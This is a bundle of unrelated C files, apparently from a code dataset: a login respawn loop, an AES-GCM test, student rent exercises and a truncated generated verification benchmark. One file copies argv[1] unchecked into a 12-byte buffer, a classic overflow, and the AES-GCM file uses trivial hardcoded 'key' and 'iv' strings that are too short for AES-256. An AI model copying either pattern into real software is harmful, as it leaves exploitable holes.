signal(SIGINT, SIG_IGN);
do {
signal(SIGTTOU, SIG_DFL);
c = fork();
if (c < 0) {
printf("ERROR: exec failed\n");
sleep(5);
return -1;
}
if (c == 0) {
pid_t pid = getpid();
setpgid(pid,pid);
do_exec();
} else {
tcsetpgrp(0, c);
waitpid(c, &status, 0);
signal(SIGTTOU, SIG_IGN);
tcsetpgrp(0, mypid);
/* Provide a short break in case login is spawning infinitely */
sleep(1);
}
} while(1);
return 0;
}
|
the_stack_data/979723.c | /*
* Copyright 2012-2016 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the Apache License 2.0 (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
/*
* Simple AES GCM test program, uses the same NIST data used for the FIPS
* self test but uses the application level EVP APIs.
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
/*
static const unsigned char gcm_key[] = {
0xee, 0xbc, 0x1f, 0x57, 0x48, 0x7f, 0x51, 0x92, 0x1c, 0x04, 0x65, 0x66,
0x5f, 0x8a, 0xe6, 0xd1, 0x65, 0x8b, 0xb2, 0x6d, 0xe6, 0xf8, 0xa0, 0x69,
0xa3, 0x52, 0x02, 0x93, 0xa5, 0x72, 0x07, 0x8f
};
static const unsigned char gcm_iv[] = {
0x99, 0xaa, 0x3e, 0x68, 0xed, 0x81, 0x73, 0xa0, 0xee, 0xd0, 0x66, 0x84
};
static const unsigned char gcm_pt[] = {
0xf5, 0x6e, 0x87, 0x05, 0x5b, 0xc3, 0x2d, 0x0e, 0xeb, 0x31, 0xb2, 0xea,
0xcc, 0x2b, 0xf2, 0xa5
};
static const unsigned char gcm_aad[] = {
0x4d, 0x23, 0xc3, 0xce, 0xc3, 0x34, 0xb4, 0x9b, 0xdb, 0x37, 0x0c, 0x43,
0x7f, 0xec, 0x78, 0xde
};
static const unsigned char gcm_ct[] = {
0xf7, 0x26, 0x44, 0x13, 0xa8, 0x4c, 0x0e, 0x7c, 0xd5, 0x36, 0x86, 0x7e,
0xb9, 0xf2, 0x17, 0x36
};
static const unsigned char gcm_tag[] = {
0x67, 0xba, 0x05, 0x10, 0x26, 0x2a, 0xe4, 0x87, 0xd7, 0x37, 0xee, 0x62,
0x98, 0xf7, 0x7e, 0x0c
};
*/
static const unsigned char * gcm_key = (unsigned char *) "key";
static const unsigned char * gcm_iv = (unsigned char *) "iv";
static unsigned char gcm_ct[1024];
static unsigned char gcm_tag[16];
static const unsigned char * gcm_pt = (unsigned char *) "plaintext";
static unsigned char gcm_dec[1024];
int outlen, declen;
void aes_gcm_encrypt(void)
{
EVP_CIPHER_CTX *ctx;
printf("AES GCM Encrypt:\n");
printf("Plaintext:\n");
fprintf(stdout, "%s\n", gcm_pt);
//BIO_dump_fp(stdout, gcm_pt, sizeof(gcm_pt));
ctx = EVP_CIPHER_CTX_new();
/* Set cipher type and mode */
EVP_EncryptInit(ctx, EVP_aes_256_gcm(), gcm_key, gcm_iv);
/* Set IV length if default 96 bits is not appropriate */
//printf("%d\n", (int) strlen((char*)gcm_iv));
//EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, strlen((char*)gcm_iv), NULL);
/* Initialise key and IV */
//EVP_EncryptInit_ex(ctx, NULL, NULL, gcm_key, gcm_iv);
EVP_EncryptUpdate(ctx, gcm_ct, &outlen, gcm_pt, strlen((char*)gcm_pt));
/* Output encrypted block */
printf("Ciphertext:\n");
fprintf(stdout, "%s\n", gcm_ct);
/* Finalise: note get no output for GCM */
EVP_EncryptFinal_ex(ctx, gcm_ct, &outlen);
/* Get tag */
EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_GET_TAG, 16, gcm_tag);
/* Output tag */
printf("Tag:\n");
fprintf(stdout, "%s\n", gcm_tag);
EVP_CIPHER_CTX_free(ctx);
}
void aes_gcm_decrypt(void)
{
EVP_CIPHER_CTX *ctx;
int rv;
printf("AES GCM Decrypt:\n");
printf("Ciphertext:\n");
printf("%s\n", gcm_ct);
ctx = EVP_CIPHER_CTX_new();
/* Select cipher */
EVP_DecryptInit(ctx, EVP_aes_256_gcm(), gcm_key, gcm_iv);
/* Set IV length, omit for 96 bits */
//EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, strlen((char*)gcm_iv), NULL);
/* Specify key and IV */
//EVP_DecryptInit_ex(ctx, NULL, NULL, gcm_key, gcm_iv);
/* Zero or more calls to specify any AAD */
//EVP_DecryptUpdate(ctx, NULL, &outlen, gcm_aad, sizeof(gcm_aad));
/* Decrypt plaintext */
EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_TAG, sizeof(gcm_tag),
(void *)gcm_tag);
EVP_DecryptInit(ctx, NULL, gcm_key, gcm_iv);
EVP_DecryptUpdate(ctx, gcm_dec, &declen, gcm_ct, outlen);
/* Output decrypted block */
printf("Plaintext:\n");
fprintf(stdout, "%s\n", gcm_dec);
/* Set expected tag value. */
/* Finalise: note get no output for GCM */
rv = EVP_DecryptFinal_ex(ctx, gcm_dec, &declen);
/*
* Print out return value. If this is not successful authentication
* failed and plaintext is not trustworthy.
*/
printf("Tag Verify %s\n", rv > 0 ? "Successful!" : "Failed!");
EVP_CIPHER_CTX_free(ctx);
}
int main(void)
{
aes_gcm_encrypt();
aes_gcm_decrypt();
} |
the_stack_data/50139115.c | // TFS_LIB
// Written 2019 by Jeff Forristal, [email protected]
// To the extent possible under law, the author(s) have dedicated all copyright and related
// and neighboring rights to this software to the public domain worldwide. This software is
// distributed without any warranty. Please see CC0 Public Domain Dedication.
/* strlen( const char * )
This file is part of the Public Domain C Library (PDCLib).
Permission is granted to use, modify, and / or redistribute at will.
*/
#include <stdint.h>
#include <stddef.h>
size_t strlen_tfs( const char * s )
{
size_t rc = 0;
while ( s[rc] )
{
++rc;
}
return rc;
}
|
the_stack_data/182952903.c | /*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main() {
int distance , rent;
printf ("Enter the distance: ");
scanf ("%d",&distance);
if (distance < 30){
rent= distance*50;
}
else {
rent= 1500 + (distance- 30)*40;
}
printf ("amount %d" , rent);
return 0;
}
|
the_stack_data/1119908.c | #define _XOPEN_SOURCE 500
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char ** argv) {
if (argc < 3) { return -1; }
FILE * f = fopen(argv[2],"r");
char * buffer = malloc(sizeof(char) * 1);
while (!feof(f)) {
fread(buffer, 1, 1, f);
printf("%c", buffer[0]);
fflush(stdout);
usleep(atoi(argv[1]));
}
fclose(f);
return 0;
}
|
the_stack_data/7951691.c | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char** argv) {
char buffer[12];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
|
the_stack_data/7950519.c | /*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main()
{
float distance, tot;
printf("Enter the distance: ");
scanf("%f", &distance);
if (distance > 30)
{
tot = 30 * 50 + ((distance - 30) * 40);
printf("Amount: %.2f", tot);
}
else
{
tot = distance * 50;
printf("Amount : %.2f", tot);
}
return 0;
}
|
the_stack_data/190767381.c | static int minimum(int a, int b)
{
if(a < b)
return a;
else
return b;
}
static int a, b;
static inline int foo(void)
{
a = minimum (a, b);
return 0;
}
static int bar(void)
{
return foo();
}
|
the_stack_data/129455.c | extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
float x_8, _x_x_8;
bool _J4722, _x__J4722;
bool _J4710, _x__J4710;
bool _EL_U_4693, _x__EL_U_4693;
float x_19, _x_x_19;
float x_9, _x_x_9;
float x_28, _x_x_28;
float x_7, _x_x_7;
float x_27, _x_x_27;
bool _EL_U_4696, _x__EL_U_4696;
float x_4, _x_x_4;
float x_1, _x_x_1;
float x_0, _x_x_0;
float x_2, _x_x_2;
float x_6, _x_x_6;
float x_3, _x_x_3;
float x_12, _x_x_12;
float x_5, _x_x_5;
float x_10, _x_x_10;
float x_18, _x_x_18;
float x_11, _x_x_11;
float x_22, _x_x_22;
float x_13, _x_x_13;
float x_14, _x_x_14;
float x_15, _x_x_15;
float x_36, _x_x_36;
float x_16, _x_x_16;
float x_20, _x_x_20;
float x_17, _x_x_17;
float x_33, _x_x_33;
float x_21, _x_x_21;
float x_26, _x_x_26;
float x_37, _x_x_37;
float x_23, _x_x_23;
float x_24, _x_x_24;
float x_30, _x_x_30;
float x_25, _x_x_25;
float x_34, _x_x_34;
float x_35, _x_x_35;
float x_29, _x_x_29;
float x_38, _x_x_38;
float x_31, _x_x_31;
float x_32, _x_x_32;
float x_39, _x_x_39;
int __steps_to_fair = __VERIFIER_nondet_int();
x_8 = __VERIFIER_nondet_float();
_J4722 = __VERIFIER_nondet_bool();
_J4710 = __VERIFIER_nondet_bool();
_EL_U_4693 = __VERIFIER_nondet_bool();
x_19 = __VERIFIER_nondet_float();
x_9 = __VERIFIER_nondet_float();
x_28 = __VERIFIER_nondet_float();
x_7 = __VERIFIER_nondet_float();
x_27 = __VERIFIER_nondet_float();
_EL_U_4696 = __VERIFIER_nondet_bool();
x_4 = __VERIFIER_nondet_float();
x_1 = __VERIFIER_nondet_float();
x_0 = __VERIFIER_nondet_float();
x_2 = __VERIFIER_nondet_float();
x_6 = __VERIFIER_nondet_float();
x_3 = __VERIFIER_nondet_float();
x_12 = __VERIFIER_nondet_float();
x_5 = __VERIFIER_nondet_float();
x_10 = __VERIFIER_nondet_float();
x_18 = __VERIFIER_nondet_float();
x_11 = __VERIFIER_nondet_float();
x_22 = __VERIFIER_nondet_float();
x_13 = __VERIFIER_nondet_float();
x_14 = __VERIFIER_nondet_float();
x_15 = __VERIFIER_nondet_float();
x_36 = __VERIFIER_nondet_float();
x_16 = __VERIFIER_nondet_float();
x_20 = __VERIFIER_nondet_float();
x_17 = __VERIFIER_nondet_float();
x_33 = __VERIFIER_nondet_float();
x_21 = __VERIFIER_nondet_float();
x_26 = __VERIFIER_nondet_float();
x_37 = __VERIFIER_nondet_float();
x_23 = __VERIFIER_nondet_float();
x_24 = __VERIFIER_nondet_float();
x_30 = __VERIFIER_nondet_float();
x_25 = __VERIFIER_nondet_float();
x_34 = __VERIFIER_nondet_float();
x_35 = __VERIFIER_nondet_float();
x_29 = __VERIFIER_nondet_float();
x_38 = __VERIFIER_nondet_float();
x_31 = __VERIFIER_nondet_float();
x_32 = __VERIFIER_nondet_float();
x_39 = __VERIFIER_nondet_float();
bool __ok = (1 && (((_EL_U_4696 || ( !(( !((x_7 + (-1.0 * x_28)) <= -12.0)) || ((-18.0 <= (x_9 + (-1.0 * x_19))) || _EL_U_4693)))) && ( !_J4710)) && ( !_J4722)));
while (__steps_to_fair >= 0 && __ok) {
if ((_J4710 && _J4722)) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x_x_8 = __VERIFIER_nondet_float();
_x__J4722 = __VERIFIER_nondet_bool();
_x__J4710 = __VERIFIER_nondet_bool();
_x__EL_U_4693 = __VERIFIER_nondet_bool();
_x_x_19 = __VERIFIER_nondet_float();
_x_x_9 = __VERIFIER_nondet_float();
_x_x_28 = __VERIFIER_nondet_float();
_x_x_7 = __VERIFIER_nondet_float();
_x_x_27 = __VERIFIER_nondet_float();
_x__EL_U_4696 = __VERIFIER_nondet_bool();
_x_x_4 = __VERIFIER_nondet_float();
_x_x_1 = __VERIFIER_nondet_float();
_x_x_0 = __VERIFIER_nondet_float();
_x_x_2 = __VERIFIER_nondet_float();
_x_x_6 = __VERIFIER_nondet_float();
_x_x_3 = __VERIFIER_nondet_float();
_x_x_12 = __VERIFIER_nondet_float();
_x_x_5 = __VERIFIER_nondet_float();
_x_x_10 = __VERIFIER_nondet_float();
_x_x_18 = __VERIFIER_nondet_float();
_x_x_11 = __VERIFIER_nondet_float();
_x_x_22 = __VERIFIER_nondet_float();
_x_x_13 = __VERIFIER_nondet_float();
_x_x_14 = __VERIFIER_nondet_float();
_x_x_15 = __VERIFIER_nondet_float();
_x_x_36 = __VERIFIER_nondet_float();
_x_x_16 = __VERIFIER_nondet_float();
_x_x_20 = __VERIFIER_nondet_float();
_x_x_17 = __VERIFIER_nondet_float();
_x_x_33 = __VERIFIER_nondet_float();
_x_x_21 = __VERIFIER_nondet_float();
_x_x_26 = __VERIFIER_nondet_float();
_x_x_37 = __VERIFIER_nondet_float();
_x_x_23 = __VERIFIER_nondet_float();
_x_x_24 = __VERIFIER_nondet_float();
_x_x_30 = __VERIFIER_nondet_float();
_x_x_25 = __VERIFIER_nondet_float();
_x_x_34 = __VERIFIER_nondet_float();
_x_x_35 = __VERIFIER_nondet_float();
_x_x_29 = __VERIFIER_nondet_float();
_x_x_38 = __VERIFIER_nondet_float();
_x_x_31 = __VERIFIER_nondet_float();
_x_x_32 = __VERIFIER_nondet_float();
_x_x_39 = __VERIFIER_nondet_float();
__ok = ((((((((((((((((((((((((((((((((((((((((((((x_39 + (-1.0 * _x_x_0)) <= -18.0) && (((x_35 + (-1.0 * _x_x_0)) <= -18.0) && (((x_32 + (-1.0 * _x_x_0)) <= -12.0) && (((x_31 + (-1.0 * _x_x_0)) <= -7.0) && (((x_29 + (-1.0 * _x_x_0)) <= -16.0) && (((x_28 + (-1.0 * _x_x_0)) <= -2.0) && (((x_27 + (-1.0 * _x_x_0)) <= -7.0) && (((x_26 + (-1.0 * _x_x_0)) <= -18.0) && (((x_25 + (-1.0 * _x_x_0)) <= -7.0) && (((x_23 + (-1.0 * _x_x_0)) <= -14.0) && (((x_19 + (-1.0 * _x_x_0)) <= -8.0) && (((x_18 + (-1.0 * _x_x_0)) <= -2.0) && (((x_16 + (-1.0 * _x_x_0)) <= -6.0) && (((x_13 + (-1.0 * _x_x_0)) <= -18.0) && (((x_11 + (-1.0 * _x_x_0)) <= -1.0) && (((x_5 + (-1.0 * _x_x_0)) <= -17.0) && (((x_3 + (-1.0 * _x_x_0)) <= -20.0) && (((x_2 + (-1.0 * _x_x_0)) <= -13.0) && (((x_0 + (-1.0 * _x_x_0)) <= -15.0) && ((x_1 + (-1.0 * _x_x_0)) <= -18.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_0)) == -18.0) || (((x_35 + (-1.0 * _x_x_0)) == -18.0) || (((x_32 + (-1.0 * _x_x_0)) == -12.0) || (((x_31 + (-1.0 * _x_x_0)) == -7.0) || (((x_29 + (-1.0 * _x_x_0)) == -16.0) || (((x_28 + (-1.0 * _x_x_0)) == -2.0) || (((x_27 + (-1.0 * _x_x_0)) == -7.0) || (((x_26 + (-1.0 * _x_x_0)) == -18.0) || (((x_25 + (-1.0 * _x_x_0)) == -7.0) || (((x_23 + (-1.0 * _x_x_0)) == -14.0) || (((x_19 + (-1.0 * _x_x_0)) == -8.0) || (((x_18 + (-1.0 * _x_x_0)) == -2.0) || (((x_16 + (-1.0 * _x_x_0)) == -6.0) || (((x_13 + (-1.0 * _x_x_0)) == -18.0) || (((x_11 + (-1.0 * _x_x_0)) == -1.0) || (((x_5 + (-1.0 * _x_x_0)) == -17.0) || (((x_3 + (-1.0 * _x_x_0)) == -20.0) || (((x_2 + (-1.0 * _x_x_0)) == -13.0) || (((x_0 + (-1.0 * _x_x_0)) == -15.0) || ((x_1 + (-1.0 * _x_x_0)) == -18.0))))))))))))))))))))) && ((((x_35 + (-1.0 * _x_x_1)) <= -14.0) && (((x_34 + (-1.0 * _x_x_1)) <= -2.0) && (((x_32 + (-1.0 * _x_x_1)) <= -13.0) && (((x_31 + (-1.0 * _x_x_1)) <= -18.0) && (((x_29 + (-1.0 * _x_x_1)) <= -1.0) && (((x_26 + (-1.0 * _x_x_1)) <= -7.0) && (((x_23 + (-1.0 * _x_x_1)) <= -3.0) && (((x_21 + (-1.0 * _x_x_1)) <= -11.0) && (((x_19 + (-1.0 * _x_x_1)) <= -18.0) && (((x_18 + (-1.0 * _x_x_1)) <= -6.0) && (((x_16 + (-1.0 * _x_x_1)) <= -19.0) && (((x_15 + (-1.0 * _x_x_1)) <= -16.0) && (((x_14 + (-1.0 * _x_x_1)) <= -14.0) && (((x_13 + (-1.0 * _x_x_1)) <= -7.0) && (((x_10 + (-1.0 * _x_x_1)) <= -10.0) && (((x_8 + (-1.0 * _x_x_1)) <= -8.0) && (((x_7 + (-1.0 * _x_x_1)) <= -6.0) && (((x_6 + (-1.0 * _x_x_1)) <= -10.0) && (((x_0 + (-1.0 * _x_x_1)) <= -7.0) && ((x_3 + (-1.0 * _x_x_1)) <= -8.0)))))))))))))))))))) && (((x_35 + (-1.0 * _x_x_1)) == -14.0) || (((x_34 + (-1.0 * _x_x_1)) == -2.0) || (((x_32 + (-1.0 * _x_x_1)) == -13.0) || (((x_31 + (-1.0 * _x_x_1)) == -18.0) || (((x_29 + (-1.0 * _x_x_1)) == -1.0) || (((x_26 + (-1.0 * _x_x_1)) == -7.0) || (((x_23 + (-1.0 * _x_x_1)) == -3.0) || (((x_21 + (-1.0 * _x_x_1)) == -11.0) || (((x_19 + (-1.0 * _x_x_1)) == -18.0) || (((x_18 + (-1.0 * _x_x_1)) == -6.0) || (((x_16 + (-1.0 * _x_x_1)) == -19.0) || (((x_15 + (-1.0 * _x_x_1)) == -16.0) || (((x_14 + (-1.0 * _x_x_1)) == -14.0) || (((x_13 + (-1.0 * _x_x_1)) == -7.0) || (((x_10 + (-1.0 * _x_x_1)) == -10.0) || (((x_8 + (-1.0 * _x_x_1)) == -8.0) || (((x_7 + (-1.0 * _x_x_1)) == -6.0) || (((x_6 + (-1.0 * _x_x_1)) == -10.0) || (((x_0 + (-1.0 * _x_x_1)) == -7.0) || ((x_3 + (-1.0 * _x_x_1)) == -8.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_2)) <= -13.0) && (((x_37 + (-1.0 * _x_x_2)) <= -10.0) && (((x_36 + (-1.0 * _x_x_2)) <= -10.0) && (((x_30 + (-1.0 * _x_x_2)) <= -19.0) && (((x_26 + (-1.0 * _x_x_2)) <= -12.0) && (((x_25 + (-1.0 * _x_x_2)) <= -18.0) && (((x_24 + (-1.0 * _x_x_2)) <= -1.0) && (((x_23 + (-1.0 * _x_x_2)) <= -15.0) && (((x_15 + (-1.0 * _x_x_2)) <= -4.0) && (((x_14 + (-1.0 * _x_x_2)) <= -18.0) && (((x_12 + (-1.0 * _x_x_2)) <= -14.0) && (((x_11 + (-1.0 * _x_x_2)) <= -1.0) && (((x_10 + (-1.0 * _x_x_2)) <= -9.0) && (((x_9 + (-1.0 * _x_x_2)) <= -11.0) && (((x_8 + (-1.0 * _x_x_2)) <= -6.0) && (((x_7 + (-1.0 * _x_x_2)) <= -6.0) && (((x_6 + (-1.0 * _x_x_2)) <= -11.0) && (((x_4 + (-1.0 * _x_x_2)) <= -1.0) && (((x_1 + (-1.0 * _x_x_2)) <= -2.0) && ((x_2 + (-1.0 * _x_x_2)) <= -7.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_2)) == -13.0) || (((x_37 + (-1.0 * _x_x_2)) == -10.0) || (((x_36 + (-1.0 * _x_x_2)) == -10.0) || (((x_30 + (-1.0 * _x_x_2)) == -19.0) || (((x_26 + (-1.0 * _x_x_2)) == -12.0) || (((x_25 + (-1.0 * _x_x_2)) == -18.0) || (((x_24 + (-1.0 * _x_x_2)) == -1.0) || (((x_23 + (-1.0 * _x_x_2)) == -15.0) || (((x_15 + (-1.0 * _x_x_2)) == -4.0) || (((x_14 + (-1.0 * _x_x_2)) == -18.0) || (((x_12 + (-1.0 * _x_x_2)) == -14.0) || (((x_11 + (-1.0 * _x_x_2)) == -1.0) || (((x_10 + (-1.0 * _x_x_2)) == -9.0) || (((x_9 + (-1.0 * _x_x_2)) == -11.0) || (((x_8 + (-1.0 * _x_x_2)) == -6.0) || (((x_7 + (-1.0 * _x_x_2)) == -6.0) || (((x_6 + (-1.0 * _x_x_2)) == -11.0) || (((x_4 + (-1.0 * _x_x_2)) == -1.0) || (((x_1 + (-1.0 * _x_x_2)) == -2.0) || ((x_2 + (-1.0 * _x_x_2)) == -7.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_3)) <= -10.0) && (((x_38 + (-1.0 * _x_x_3)) <= -10.0) && (((x_37 + (-1.0 * _x_x_3)) <= -2.0) && (((x_36 + (-1.0 * _x_x_3)) <= -12.0) && (((x_34 + (-1.0 * _x_x_3)) <= -13.0) && (((x_32 + (-1.0 * _x_x_3)) <= -4.0) && (((x_29 + (-1.0 * _x_x_3)) <= -19.0) && (((x_28 + (-1.0 * _x_x_3)) <= -9.0) && (((x_27 + (-1.0 * _x_x_3)) <= -5.0) && (((x_25 + (-1.0 * _x_x_3)) <= -20.0) && (((x_19 + (-1.0 * _x_x_3)) <= -5.0) && (((x_16 + (-1.0 * _x_x_3)) <= -20.0) && (((x_12 + (-1.0 * _x_x_3)) <= -10.0) && (((x_10 + (-1.0 * _x_x_3)) <= -9.0) && (((x_8 + (-1.0 * _x_x_3)) <= -19.0) && (((x_7 + (-1.0 * _x_x_3)) <= -20.0) && (((x_6 + (-1.0 * _x_x_3)) <= -3.0) && (((x_4 + (-1.0 * _x_x_3)) <= -5.0) && (((x_0 + (-1.0 * _x_x_3)) <= -7.0) && ((x_2 + (-1.0 * _x_x_3)) <= -1.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_3)) == -10.0) || (((x_38 + (-1.0 * _x_x_3)) == -10.0) || (((x_37 + (-1.0 * _x_x_3)) == -2.0) || (((x_36 + (-1.0 * _x_x_3)) == -12.0) || (((x_34 + (-1.0 * _x_x_3)) == -13.0) || (((x_32 + (-1.0 * _x_x_3)) == -4.0) || (((x_29 + (-1.0 * _x_x_3)) == -19.0) || (((x_28 + (-1.0 * _x_x_3)) == -9.0) || (((x_27 + (-1.0 * _x_x_3)) == -5.0) || (((x_25 + (-1.0 * _x_x_3)) == -20.0) || (((x_19 + (-1.0 * _x_x_3)) == -5.0) || (((x_16 + (-1.0 * _x_x_3)) == -20.0) || (((x_12 + (-1.0 * _x_x_3)) == -10.0) || (((x_10 + (-1.0 * _x_x_3)) == -9.0) || (((x_8 + (-1.0 * _x_x_3)) == -19.0) || (((x_7 + (-1.0 * _x_x_3)) == -20.0) || (((x_6 + (-1.0 * _x_x_3)) == -3.0) || (((x_4 + (-1.0 * _x_x_3)) == -5.0) || (((x_0 + (-1.0 * _x_x_3)) == -7.0) || ((x_2 + (-1.0 * _x_x_3)) == -1.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_4)) <= -7.0) && (((x_38 + (-1.0 * _x_x_4)) <= -2.0) && (((x_36 + (-1.0 * _x_x_4)) <= -12.0) && (((x_35 + (-1.0 * _x_x_4)) <= -14.0) && (((x_32 + (-1.0 * _x_x_4)) <= -20.0) && (((x_31 + (-1.0 * _x_x_4)) <= -15.0) && (((x_30 + (-1.0 * _x_x_4)) <= -1.0) && (((x_27 + (-1.0 * _x_x_4)) <= -15.0) && (((x_25 + (-1.0 * _x_x_4)) <= -8.0) && (((x_22 + (-1.0 * _x_x_4)) <= -1.0) && (((x_20 + (-1.0 * _x_x_4)) <= -11.0) && (((x_17 + (-1.0 * _x_x_4)) <= -8.0) && (((x_15 + (-1.0 * _x_x_4)) <= -12.0) && (((x_13 + (-1.0 * _x_x_4)) <= -2.0) && (((x_11 + (-1.0 * _x_x_4)) <= -10.0) && (((x_9 + (-1.0 * _x_x_4)) <= -15.0) && (((x_6 + (-1.0 * _x_x_4)) <= -9.0) && (((x_3 + (-1.0 * _x_x_4)) <= -6.0) && (((x_1 + (-1.0 * _x_x_4)) <= -18.0) && ((x_2 + (-1.0 * _x_x_4)) <= -4.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_4)) == -7.0) || (((x_38 + (-1.0 * _x_x_4)) == -2.0) || (((x_36 + (-1.0 * _x_x_4)) == -12.0) || (((x_35 + (-1.0 * _x_x_4)) == -14.0) || (((x_32 + (-1.0 * _x_x_4)) == -20.0) || (((x_31 + (-1.0 * _x_x_4)) == -15.0) || (((x_30 + (-1.0 * _x_x_4)) == -1.0) || (((x_27 + (-1.0 * _x_x_4)) == -15.0) || (((x_25 + (-1.0 * _x_x_4)) == -8.0) || (((x_22 + (-1.0 * _x_x_4)) == -1.0) || (((x_20 + (-1.0 * _x_x_4)) == -11.0) || (((x_17 + (-1.0 * _x_x_4)) == -8.0) || (((x_15 + (-1.0 * _x_x_4)) == -12.0) || (((x_13 + (-1.0 * _x_x_4)) == -2.0) || (((x_11 + (-1.0 * _x_x_4)) == -10.0) || (((x_9 + (-1.0 * _x_x_4)) == -15.0) || (((x_6 + (-1.0 * _x_x_4)) == -9.0) || (((x_3 + (-1.0 * _x_x_4)) == -6.0) || (((x_1 + (-1.0 * _x_x_4)) == -18.0) || ((x_2 + (-1.0 * _x_x_4)) == -4.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_5)) <= -14.0) && (((x_37 + (-1.0 * _x_x_5)) <= -5.0) && (((x_35 + (-1.0 * _x_x_5)) <= -15.0) && (((x_32 + (-1.0 * _x_x_5)) <= -13.0) && (((x_30 + (-1.0 * _x_x_5)) <= -11.0) && (((x_29 + (-1.0 * _x_x_5)) <= -17.0) && (((x_27 + (-1.0 * _x_x_5)) <= -2.0) && (((x_26 + (-1.0 * _x_x_5)) <= -10.0) && (((x_23 + (-1.0 * _x_x_5)) <= -7.0) && (((x_21 + (-1.0 * _x_x_5)) <= -1.0) && (((x_20 + (-1.0 * _x_x_5)) <= -13.0) && (((x_19 + (-1.0 * _x_x_5)) <= -19.0) && (((x_18 + (-1.0 * _x_x_5)) <= -3.0) && (((x_15 + (-1.0 * _x_x_5)) <= -15.0) && (((x_13 + (-1.0 * _x_x_5)) <= -16.0) && (((x_11 + (-1.0 * _x_x_5)) <= -7.0) && (((x_7 + (-1.0 * _x_x_5)) <= -16.0) && (((x_6 + (-1.0 * _x_x_5)) <= -2.0) && (((x_3 + (-1.0 * _x_x_5)) <= -14.0) && ((x_5 + (-1.0 * _x_x_5)) <= -10.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_5)) == -14.0) || (((x_37 + (-1.0 * _x_x_5)) == -5.0) || (((x_35 + (-1.0 * _x_x_5)) == -15.0) || (((x_32 + (-1.0 * _x_x_5)) == -13.0) || (((x_30 + (-1.0 * _x_x_5)) == -11.0) || (((x_29 + (-1.0 * _x_x_5)) == -17.0) || (((x_27 + (-1.0 * _x_x_5)) == -2.0) || (((x_26 + (-1.0 * _x_x_5)) == -10.0) || (((x_23 + (-1.0 * _x_x_5)) == -7.0) || (((x_21 + (-1.0 * _x_x_5)) == -1.0) || (((x_20 + (-1.0 * _x_x_5)) == -13.0) || (((x_19 + (-1.0 * _x_x_5)) == -19.0) || (((x_18 + (-1.0 * _x_x_5)) == -3.0) || (((x_15 + (-1.0 * _x_x_5)) == -15.0) || (((x_13 + (-1.0 * _x_x_5)) == -16.0) || (((x_11 + (-1.0 * _x_x_5)) == -7.0) || (((x_7 + (-1.0 * _x_x_5)) == -16.0) || (((x_6 + (-1.0 * _x_x_5)) == -2.0) || (((x_3 + (-1.0 * _x_x_5)) == -14.0) || ((x_5 + (-1.0 * _x_x_5)) == -10.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_6)) <= -12.0) && (((x_36 + (-1.0 * _x_x_6)) <= -7.0) && (((x_34 + (-1.0 * _x_x_6)) <= -11.0) && (((x_33 + (-1.0 * _x_x_6)) <= -3.0) && (((x_32 + (-1.0 * _x_x_6)) <= -10.0) && (((x_31 + (-1.0 * _x_x_6)) <= -8.0) && (((x_28 + (-1.0 * _x_x_6)) <= -2.0) && (((x_27 + (-1.0 * _x_x_6)) <= -3.0) && (((x_26 + (-1.0 * _x_x_6)) <= -5.0) && (((x_24 + (-1.0 * _x_x_6)) <= -14.0) && (((x_22 + (-1.0 * _x_x_6)) <= -16.0) && (((x_20 + (-1.0 * _x_x_6)) <= -17.0) && (((x_17 + (-1.0 * _x_x_6)) <= -15.0) && (((x_16 + (-1.0 * _x_x_6)) <= -12.0) && (((x_15 + (-1.0 * _x_x_6)) <= -19.0) && (((x_12 + (-1.0 * _x_x_6)) <= -4.0) && (((x_11 + (-1.0 * _x_x_6)) <= -1.0) && (((x_7 + (-1.0 * _x_x_6)) <= -9.0) && (((x_2 + (-1.0 * _x_x_6)) <= -20.0) && ((x_5 + (-1.0 * _x_x_6)) <= -19.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_6)) == -12.0) || (((x_36 + (-1.0 * _x_x_6)) == -7.0) || (((x_34 + (-1.0 * _x_x_6)) == -11.0) || (((x_33 + (-1.0 * _x_x_6)) == -3.0) || (((x_32 + (-1.0 * _x_x_6)) == -10.0) || (((x_31 + (-1.0 * _x_x_6)) == -8.0) || (((x_28 + (-1.0 * _x_x_6)) == -2.0) || (((x_27 + (-1.0 * _x_x_6)) == -3.0) || (((x_26 + (-1.0 * _x_x_6)) == -5.0) || (((x_24 + 